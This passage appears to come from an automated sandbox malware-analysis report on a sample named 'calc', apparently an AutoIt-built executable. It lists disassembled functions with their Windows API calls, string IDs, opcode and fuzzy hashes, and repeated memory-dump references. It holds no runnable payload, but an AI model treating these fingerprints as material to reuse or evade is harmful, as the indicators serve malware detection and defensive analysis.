      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
      • String ID:
      • API String ID: 2880819207-0
      • Opcode ID: 9bcb5aa3c768942edd719b5082d50a1b5a7429418ff23bc50409b4238d47a26f
      • Instruction ID: 37f3567695b4e2a04e44fe97a9f8cb04737ee47792f011c909d28ba87a63e80b
      • Opcode Fuzzy Hash: 9bcb5aa3c768942edd719b5082d50a1b5a7429418ff23bc50409b4238d47a26f
      • Instruction Fuzzy Hash: 91016872904244BFDB019FB89C848DF7FACBB89321F440276F515D3291DB348E8487A8
      Function 0040418F Relevance: 6.0, APIs: 4, Instructions: 44COMMON
      Download Yara Rule
      APIs
      • GetWindowRect.USER32(?,?), ref: 004041A5
      • ScreenToClient.USER32(?,?), ref: 004041C3
      • ScreenToClient.USER32(?,?), ref: 004041E3
      • InvalidateRect.USER32(?,?,?,?,?,?,?), ref: 004041FA
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ClientRectScreen$InvalidateWindow
      • String ID:
      • API String ID: 357397906-0
      • Opcode ID: e6c53d79c336a4540c849928479b5bbe4b45c7717b9f6299b7b93d6f2ff35d60
      • Instruction ID: 7a2881a9e657539b123658c6875673d14ae470e9a9d0cf3515e33dff372f4954
      • Opcode Fuzzy Hash: e6c53d79c336a4540c849928479b5bbe4b45c7717b9f6299b7b93d6f2ff35d60
      • Instruction Fuzzy Hash: 2A111FBAD0020DEFDB51DFA8D9819DEBBF9FB48240F104166E945E3211E731AA54DB50
      Function 00457312 Relevance: 6.0, APIs: 4, Instructions: 38COMMON
      Download Yara Rule
      APIs
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ___addl
      • String ID:
      • API String ID: 2260456530-0
      • Opcode ID: a6d3fea94caffdbfbeec600a8d228e4f9831f0a4e76ee5ff08ec74ce47c2ef23
      • Instruction ID: 56a7e8b0768f1760fac7a0eab5900b619266d7ac4d86417b63611c217eca51e8
      • Opcode Fuzzy Hash: a6d3fea94caffdbfbeec600a8d228e4f9831f0a4e76ee5ff08ec74ce47c2ef23
      • Instruction Fuzzy Hash: FCF06D76404602AFDA105A42EC02E67B7E9FF44315F4444BAFD5892132F722E86CDF51
      Function 0040CBA4 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0040CCF8: DeleteObject.GDI32(?), ref: 0040CD3D
        • Part of subcall function 0040CCF8: ExtCreatePen.GDI32(?,?,?,00000000,00000000,?,?), ref: 0040CD84
        • Part of subcall function 0040CCF8: SelectObject.GDI32(?,00000000), ref: 0040CD94
        • Part of subcall function 0040CCF8: BeginPath.GDI32(?), ref: 0040CDAE
        • Part of subcall function 0040CCF8: SelectObject.GDI32(?,00000000), ref: 0040CDCD
      • MoveToEx.GDI32(?,?,?,00000000), ref: 0040CBC9
      • LineTo.GDI32(?,?,?), ref: 0040CBD6
      • EndPath.GDI32(?), ref: 0040CBE8
      • StrokePath.GDI32(?), ref: 0040CBF2
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
      • String ID:
      • API String ID: 2783949968-0
      • Opcode ID: 47ea1dba58f7e82b7ac036a59097fcfdc4d59cfee1255a3750341a2d29e0b913
      • Instruction ID: 7addbb669f48b3f8bb91b73a7c195707b1c7606dfb2b93494881525acfad2860
      • Opcode Fuzzy Hash: 47ea1dba58f7e82b7ac036a59097fcfdc4d59cfee1255a3750341a2d29e0b913
      • Instruction Fuzzy Hash: 0EF0E931100209FBDF221F649C49FEE3FB45B46B12F044529FE14B12D2CB798851E7A9
      Function 004030FC Relevance: 6.0, APIs: 4, Instructions: 27threadwindowtimeCOMMON
      Download Yara Rule
      APIs
      • SendMessageTimeoutW.USER32(0045C6D0,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00403119
      • GetWindowThreadProcessId.USER32(0045C6D0,00000000), ref: 0040312E
      • GetCurrentThreadId.KERNEL32 ref: 00403135
      • AttachThreadInput.USER32(00000000,?,0040301A,?,00000001), ref: 0040313C
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
      • String ID:
      • API String ID: 2710830443-0
      • Opcode ID: f061325f79de26fa8bd7ada1c3a173e6ada7418d19c7524b275892b6c77a0e0a
      • Instruction ID: e0469f5d39f6c9a8ed97173fcd7a9f0b0481b7a02a8b853d1df90955247d746e
      • Opcode Fuzzy Hash: f061325f79de26fa8bd7ada1c3a173e6ada7418d19c7524b275892b6c77a0e0a
      • Instruction Fuzzy Hash: 59E01231684308FAEB119F60DC0AF9A3F5CAB14B42F508021B705AD0E2D7B9DAA1CB5C
      Function 0040DE09 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 214comCOMMON
      Download Yara Rule
      APIs
      • OleSetContainedObject.OLE32(0000000C,00000001), ref: 0040DF8B
        • Part of subcall function 0040E034: OleSetContainedObject.OLE32(75C08500,00000000), ref: 0040E0A3
        • Part of subcall function 0040E034: IsWindow.USER32(0011FEE8), ref: 0040E0FC
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ContainedObject$Window
      • String ID: AutoIt3GUI$Container
      • API String ID: 2752853911-3941886329
      • Opcode ID: 8e6ee2c316e27129d9d6d28a79f25b567a849c9034daffe22e7cad4a73fbc4f5
      • Instruction ID: bf47823b7056066a5e2e6accf56a3fe746e3b4a49be001c8bdeeda6f12d14935
      • Opcode Fuzzy Hash: 8e6ee2c316e27129d9d6d28a79f25b567a849c9034daffe22e7cad4a73fbc4f5
      • Instruction Fuzzy Hash: 62818AB0A00602EFCB14DFA5C8C496ABBB4FF48305B20856EE906DB791C779E855CF94
      Function 00454120 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 135COMMON
      Download Yara Rule
      APIs
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Info
      • String ID: 0H$0H
      • API String ID: 1807457897-3632109438
      • Opcode ID: a03b05c39c204be3cfdac47b8496c9b10152d593e6408a9f2bbe70603d1d90d3
      • Instruction ID: 857a1bb90ed6b757db5288b16b7c828b2284c8cc85c9d493c8eebaa07cc69fb3
      • Opcode Fuzzy Hash: a03b05c39c204be3cfdac47b8496c9b10152d593e6408a9f2bbe70603d1d90d3
      • Instruction Fuzzy Hash: E34149709141605EE740EF64D88427E7BE0AB8934AF2844BFF9558F353C23A49CE8B9D
      Function 00412C29 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121windowCOMMON
      Download Yara Rule
      APIs
      • LoadStringW.USER32(00000065,?,0000007F,00000000), ref: 00412C6D
      • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00412DBE
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: IconLoadNotifyShell_String
      • String ID: Line:
      • API String ID: 3363329723-1585850449
      • Opcode ID: ac6f7842dab233d1e68704d78533ec32c694b5aa436cd5726a7fbaefa039d289
      • Instruction ID: d44aa6c7ff2ceec8a5e2fc5b0b8ec97f83009bbda05c0c700851c1c9c39894c2
      • Opcode Fuzzy Hash: ac6f7842dab233d1e68704d78533ec32c694b5aa436cd5726a7fbaefa039d289
      • Instruction Fuzzy Hash: E241A4B19042089AEB11DF65DC45BDE7BB8BB44318F00016BF509E3291E7B89AD9CB9D
      Function 0045705F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109fileCOMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0044F7F5: SetFilePointer.KERNEL32(00000000,00000000,00000000,?,?,?,0044F8C0,?,00000000,0044EFF8,0045B9B8,0000000C,0044CCA9,?,00000000,00000002), ref: 0044F822
        • Part of subcall function 0044F7F5: GetLastError.KERNEL32 ref: 0044F82F
      • SetEndOfFile.KERNEL32(00000000,?,?,?,00000000,?,?,?,00455E63,00000000,80000000), ref: 0045714F
      • GetLastError.KERNEL32(?,?,?,00000000,?,?,?,00455E63,00000000,80000000), ref: 00457174
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ErrorFileLast$Pointer
      • String ID: c^E
      • API String ID: 1697706070-2539547054
      • Opcode ID: cfd755cca87d619af5feba0446fd4f4da26253de6824d47dc33922f992f189b7
      • Instruction ID: b36608169c62242103fee92faa6a2b2a4f55438ee637c16eb5b786c1d23c8d19
      • Opcode Fuzzy Hash: cfd755cca87d619af5feba0446fd4f4da26253de6824d47dc33922f992f189b7
      • Instruction Fuzzy Hash: B9314C71900514ABEF212F65DC45B8E3B64EF08355F10417BFD089B292EA798E488B9C
      Function 0040B435 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(?,00000469,?,00000000), ref: 0040B4E8
      • SendMessageW.USER32(?,00000465,00000000,80017FFF), ref: 0040B4F8
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend
      • String ID: msctls_updown32
      • API String ID: 3850602802-2298589950
      • Opcode ID: 6379d174e26c128a804c38e3f495b71b257c212925a7d6601335cd6feca22ee9
      • Instruction ID: 3d460db20afce04995f9f54f52d8810648ed05b4425190c924ea1cb92289fdf7
      • Opcode Fuzzy Hash: 6379d174e26c128a804c38e3f495b71b257c212925a7d6601335cd6feca22ee9
      • Instruction Fuzzy Hash: 46318FB1600209BFDB00CF24DC81DAB37A9EF59358B10406AF901A73D1DB34ED52DBA8
      Function 0040BACF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(?,00001132,00000000,?), ref: 0040BBAB
      • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0040BBC3
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend
      • String ID: '
      • API String ID: 3850602802-1997036262
      • Opcode ID: d2497bf30880c0e0f6f9250b73f4ff933048766acc535da351d0025d50bfa92f
      • Instruction ID: 790da75ecd06bc5f8f21dc72d14b365d84c45d9b578440653fd79ec7c8b9c65c
      • Opcode Fuzzy Hash: d2497bf30880c0e0f6f9250b73f4ff933048766acc535da351d0025d50bfa92f
      • Instruction Fuzzy Hash: BA3109B19003099FCB10CF99C880ADEB7F5FF58310F55446AEA49EB795D374A981CB98
      Function 00454E4A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON
      Download Yara Rule
      APIs
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: __shift_strcat_strlen
      • String ID: e+000
      • API String ID: 208078240-1027065040
      • Opcode ID: c1451e237096401f43faf898fed7d531d20f8d40ded23736f31a8e9cbef58cc2
      • Instruction ID: c17b212e9c6a6195a33cd92223d512c1f4d604f34dd2aa8fe3ac825eb24e3e10
      • Opcode Fuzzy Hash: c1451e237096401f43faf898fed7d531d20f8d40ded23736f31a8e9cbef58cc2
      • Instruction Fuzzy Hash: 7621F3322083909FD71A4A389C913A63BD1AB4231DF1844AFE485CE293D27DC9C8C359
      Function 004244A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON
      Download Yara Rule
      APIs
      • SetErrorMode.KERNEL32(00000001), ref: 004244B8
      • GetVolumeInformationW.KERNEL32(00000000,?,000000FF,?,?,?,?,000000FF,00000000), ref: 00424523
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ErrorInformationModeVolume
      • String ID: %lu
      • API String ID: 64830657-685833217
      • Opcode ID: ab25d0a3f84c8be0667e4f19ed05e3358fdcc46152f7499cb6517b5208bf9198
      • Instruction ID: 52b8ba96a781efff86eab9d710c4b0d9c46507a85bdf29dd436e82410a9f276d
      • Opcode Fuzzy Hash: ab25d0a3f84c8be0667e4f19ed05e3358fdcc46152f7499cb6517b5208bf9198
      • Instruction Fuzzy Hash: 2821B632A00118AFDB14AB95DC45EEF7378EF44314F10426BB512A71A1DE78EE85CB98
      Function 00413C3D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74fileCOMMON
      Download Yara Rule
      APIs
        • Part of subcall function 00413E1F: CloseHandle.KERNEL32(?,00000000,00413C39,0045C6D0,0040FFF4,0045C6D0,?,?,004105B4,00000000,0047BD30,00000000,0045C6D0,00000000,00000000,0045C6D0), ref: 00413E2F
      • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,?,0045C6D0,00000000,?,00410004,00000000,0045C6D0), ref: 00413CCD
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CloseCreateFileHandle
      • String ID: a+b$w+b
      • API String ID: 3498533004-2501309014
      • Opcode ID: d91cdd8369b11ef9a3c164c8206441f8dd3c3036e2c72543d9734c0028e4c0c9
      • Instruction ID: edf53baa4e82ff11f7db368c7cffc4024c74940741b87387b299ffaae9dd17bc
      • Opcode Fuzzy Hash: d91cdd8369b11ef9a3c164c8206441f8dd3c3036e2c72543d9734c0028e4c0c9
      • Instruction Fuzzy Hash: D9110372604304BAEB201E55D946BD27B98AF1079AF24443FF88862251F63D9E81C59C
      Function 0040A9BE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0040AA4A
      • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0040AA55
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend
      • String ID: Combobox
      • API String ID: 3850602802-2096851135
      • Opcode ID: 7d53d7fb79487526b315ade6c649dc5807220e0396936e94214fb795de8cf3c4
      • Instruction ID: c4c708d04f0f19327094a8dba0ca1a6e2ba202dda6d3c05fc845e7cbb8daae38
      • Opcode Fuzzy Hash: 7d53d7fb79487526b315ade6c649dc5807220e0396936e94214fb795de8cf3c4
      • Instruction Fuzzy Hash: B8119031600348ABDF21CF51CD44ECB3BA5EB49758F01022AF9486A1D1C3799CA0CB99
      Function 0040A701 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON
      Download Yara Rule
      APIs
      • GetWindowTextLengthW.USER32(00000000), ref: 0040A781
      • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 0040A790
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
